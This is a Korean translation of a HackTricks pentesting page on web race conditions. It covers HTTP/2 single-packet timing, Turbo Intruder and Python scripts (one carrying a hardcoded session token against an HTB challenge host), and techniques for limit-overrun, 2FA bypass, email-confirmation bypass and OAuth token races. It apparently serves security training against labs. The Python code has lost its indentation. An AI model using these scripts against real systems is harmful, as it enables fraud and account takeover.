hacktricks/pentesting-web/race-condition.md

22 KiB

경쟁 조건


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

{% hint style="warning" %} 이 기술에 대한 심층적인 이해를 얻으려면 원본 보고서를 확인하세요 https://portswigger.net/research/smashing-the-state-machine {% endhint %}

경쟁 조건 공격 향상

경쟁 조건을 활용하는 데 주요 장애물은 **여러 요청이 **동시에 처리되고 있음을 확인하는 것이며, 이때 처리 시간에 매우 작은 차이가 있어야 합니다. 이상적으로는 1ms 미만이어야 합니다.

여기서 요청 동기화를 위한 몇 가지 기술을 찾을 수 있습니다:

HTTP/2 단일 패킷 공격 대 HTTP/1.1 마지막 바이트 동기화

  • HTTP/2: 하나의 TCP 연결을 통해 두 개의 요청을 보낼 수 있어 네트워크 지연 영향을 줄입니다. 그러나 서버 측 변동으로 인해 두 개의 요청만으로는 일관된 경쟁 조건 공격이 충분하지 않을 수 있습니다.
  • HTTP/1.1 '마지막 바이트 동기화': 20-30개의 대부분의 부분을 미리 보내고 작은 조각을 보류한 후 함께 보내어 서버에 동시에 도착하도록 하는 것을 가능하게 합니다.

마지막 바이트 동기화를 위한 준비는 다음과 같습니다:

  1. 스트림을 종료하지 않고 최종 바이트를 제외한 헤더 및 본문 데이터를 보냅니다.
  2. 초기 전송 후 100ms 일시 중지합니다.
  3. 최종 프레임을 일괄 처리하기 위해 Nagle의 알고리즘을 사용하기 위해 TCP_NODELAY를 비활성화합니다.
  4. 연결을 미리 준비하기 위해 핑을 보냅니다.

보류된 프레임의 후속 전송은 Wireshark를 통해 단일 패킷으로의 도착을 확인해야 합니다. 이 방법은 일반적으로 RC 공격에 관여하지 않는 정적 파일에는 적용되지 않습니다.

서버 아키텍처에 적응

대상의 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 시간에 영향을 줄 수 있습니다. 사전 서버 측 연결을 위한 무해한 요청을 통한 서버 측 연결 미리 준비는 요청 타이밍을 정규화할 수 있습니다.

세션 기반 잠금 처리

PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다.

속도 또는 리소스 제한 극복

연결 미리 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 의도적으로 웹 서버의 속도 또는 리소스 제한 지연을 유발하여 서버 측 지연을 유도하여 경쟁 조건에 유리한 단일 패킷 공격을 용이하게 할 수 있습니다.

공격 예시

  • Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트): 요청을 Turbo Intruder에 보낼 수 있습니다 (Extensions -> Turbo Intruder -> Send to Turbo Intruder), 요청에서 **%s**와 같이 브루트 포스할 값을 변경할 수 있습니다. csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s 그리고 드롭다운에서 **examples/race-single-packer-attack.py**를 선택할 수 있습니다:

다른 값을 보내려면 클립보드에서 단어 목록을 사용하는 이 코드로 수정할 수 있습니다:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} 웹이 HTTP2를 지원하지 않는 경우(HTTP1.1만 지원하는 경우) Engine.BURP2 대신 Engine.THREADED 또는 Engine.BURP를 사용하십시오. {% endhint %}

  • Intruder Pipe - HTTP2 single-packet attack (여러 엔드포인트): RCE를 트리거하기 위해 1개의 엔드포인트로 요청을 보내고 다른 엔드포인트로 여러 요청을 보내어야 하는 경우, race-single-packet-attack.py 스크립트를 다음과 같이 변경할 수 있습니다:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Repeater에서도 Burp Suite의 새로운 'Send group in parallel' 옵션을 통해 사용할 수 있습니다.
  • limit-overrun의 경우 그룹에 같은 요청을 50번 추가할 수 있습니다.
  • 연결을 미리 확립하기 위해 웹 서버의 정적이 아닌 부분에 몇 가지 요청을 그룹의 시작 부분에 추가할 수 있습니다.
  • 한 요청을 처리하고 다른 요청으로 넘어가는 과정 사이의 지연을 위해 2개의 하위 상태 단계에서 두 요청 사이에 추가 요청을 추가할 수 있습니다.
  • 다중 엔드포인트 RC의 경우 숨겨진 상태로 이동하는 요청을 보낸 다음 그 후에 숨겨진 상태를 이용하는 50개의 요청을 보낼 수 있습니다.
  • 자동화된 파이썬 스크립트: 이 스크립트의 목표는 사용자의 이메일을 계속 확인하면서 새 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 이메일을 변경하는 것입니다 (코드에서 이메일을 수정할 수 있지만 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워졌기 때문에 확인이 이전 이메일로 전송되는 RC를 확인했습니다).
    받은 이메일에서 "objetivo"라는 단어를 찾으면 변경된 이메일의 확인 토큰을 받았음을 알 수 있고 공격을 종료합니다.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Raw BF

이전 연구 이전에 사용된 몇 가지 페이로드는 RC를 유발하기 위해 가능한 한 빠르게 패킷을 보내려고 시도했습니다.

  • Repeater: 이전 섹션의 예제를 확인하십시오.
  • Intruder: Intruder요청을 보내고, 옵션 메뉴에서 쓰레드 수30으로 설정하고, 페이로드로 Null payloads를 선택하고 30을 생성하십시오.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

이것은 행동을 수행할 수 있는 횟수를 제한하는 위치에서 발생하는 취약점인 가장 기본적인 종류의 경쟁 조건입니다. 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 것과 같은 예시가 매우 쉽게 찾을 수 있습니다. 이 보고서이 버그에서 매우 쉬운 예시를 찾을 수 있습니다.

이 종류의 공격에는 다음과 같은 여러 변형이 있습니다:

  • 선물 카드를 여러 번 사용
  • 제품을 여러 번 평가
  • 계정 잔액을 초과하여 현금을 인출하거나 이체
  • 단일 CAPTCHA 솔루션 재사용
  • 안티 브루트 포스 속도 제한 우회

Hidden substates

복잡한 경쟁 조건을 악용하는 것은 종종 순간적인 기회를 이용하여 숨겨진 또는 의도하지 않은 기계 하위 상태와 상호 작용하는 것을 포함합니다. 다음은 이를 접근하는 방법입니다:

  1. 숨겨진 하위 상태 식별
  • 사용자 프로필이나 비밀번호 재설정 프로세스와 상호 작용하거나 수정하는 엔드포인트를 정확히 파악하여 시작하십시오. 다음에 중점을 두세요:
  • 저장: 서버 측 영구 데이터를 조작하는 엔드포인트를 선호하십시오.
  • 작업: 기존 데이터를 변경하는 작업을 찾으세요. 이러한 작업은 새 데이터를 추가하는 것보다 취약한 조건을 만들 가능성이 높습니다.
  • 키 지정: 성공적인 공격은 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키 지정된 작업을 포함합니다.
  1. 초기 탐지 수행
  • 식별된 엔드포인트를 경쟁 조건 공격으로 테스트하면 예상 결과와 다른 변화를 관찰하십시오. 예기치 않은 응답이나 응용 프로그램 동작의 변경은 취약점을 나타낼 수 있습니다.
  1. 취약점 증명
  • 취약점을 악용하기 위해 필요한 요청의 최소한의 수로 공격 범위를 좁히세요. 이 단계는 정확한 타이밍으로 인해 여러 시도나 자동화가 필요할 수 있습니다.

Time Sensitive Attacks

요청의 타이밍을 정밀하게 조절하면 예측 가능한 방법(예: 타임스탬프)을 사용하여 보안 토큰을 사용할 때 취약점을 드러낼 수 있습니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하면 동시 요청에 대해 동일한 토큰을 허용할 수 있습니다.

악용 방법:

  • 동시에 비밀번호 재설정 요청을 수행하기 위해 정밀한 타이밍(예: 단일 패킷 공격)을 사용하십시오. 동일한 토큰은 취약점을 나타낼 수 있습니다.

예시:

  • 동시에 두 개의 비밀번호 재설정 토큰을 요청하고 비교하십시오. 일치하는 토큰은 토큰 생성에 결함이 있음을 나타낼 수 있습니다.

이를 시도해보려면 PortSwigger Lab 를 확인하세요.

Hidden substates case studies

Pay & add an Item

PortSwigger Lab를 확인하여 상점에서 지불하고 추가로 지불할 필요가 없는 항목을 추가하는 방법을 확인하세요.

Confirm other emails

이메일 주소를 확인하고 동시에 다른 이메일 주소로 변경하여 플랫폼이 새로운 이메일을 확인하는지 확인하세요.

이 연구에 따르면 Gitlab은 다른 이메일로 이메일 확인 토큰을 보낼 수 있기 때문에 이 방법으로 인해 취약할 수 있습니다.

이를 시도해보려면 PortSwigger Lab 를 확인하세요.

Hidden Database states / Confirmation Bypass

데이터베이스에 정보를 추가하기 위해 2개의 다른 쓰기가 사용되는 경우, 데이터베이스에는 첫 번째 데이터만 기록된 상태가 잠시 존재합니다. 예를 들어, 사용자를 생성할 때 사용자 이름비밀번호기록되고 그런 다음 새로 생성된 계정을 확인하는 토큰이 작성됩니다. 이는 잠시 동안 계정을 확인하는 토큰이 null임을 의미합니다.

따라서 계정을 등록하고 빈 토큰(token= 또는 token[]= 또는 다른 변형)을 사용하여 계정을 즉시 확인하는 여러 요청을 보내면 이메일을 제어하지 않는 상태에서 계정을 확인할 수 있습니다.

이를 시도해보려면 PortSwigger Lab 를 확인하세요.

Bypass 2FA

다음 의사 코드는 세션을 생성하는 동안 2단계 인증이 강제되지 않는 매우 짧은 시간 동안 경쟁 조건에 취약합니다:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 영구 지속성

여러 OAUth 제공자가 있습니다. 이러한 서비스는 응용 프로그램을 만들고 제공자가 등록한 사용자를 인증할 수 있게 합니다. 이를 위해 클라이언트귀하의 응용 프로그램이 OAUth 제공자 내의 일부 데이터에 액세스할 수 있도록 허용해야 합니다.
따라서, 여기까지는 구글/링크드인/깃허브 등과 같은 공통 로그인이며, 다음과 같은 페이지가 표시됩니다: "Application <InsertCoolName>이(가) 귀하의 정보에 액세스하려고 합니다. 허용하시겠습니까?"

authorization_code에서의 경쟁 조건

문제수락하면 악의적인 응용 프로그램으로 **authorization_code**가 자동으로 전송된다는 것입니다. 그런 다음, 이 **응용 프로그램은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **authorization_code로부터 여러 AT/RT (인증 토큰/새로 고침 토큰)을 생성합니다. 기본적으로 귀하가 응용 프로그램이 데이터에 액세스할 수 있도록 허용했다는 사실을 악용하여 여러 계정을 생성합니다. 그런 다음, 응용 프로그램이 데이터에 액세스하는 것을 중지하면 하나의 AT/RT 쌍이 삭제되지만, 다른 것들은 여전히 유효합니다.

Refresh Token에서의 경쟁 조건

한 번 유효한 RT를 획득하면 여러 AT/RT를 생성하려고 시도할 수 있으며, 심지어 사용자가 악의적인 응용 프로그램이 데이터에 액세스하는 권한을 취소해도 여러 RT가 여전히 유효할 것입니다.

웹소켓에서의 RC

WS_RaceCondition_PoC에서 웹소켓에서도 경쟁 조건을 악용하기 위해 병렬로 웹소켓 메시지를 보내는 Java PoC를 찾을 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}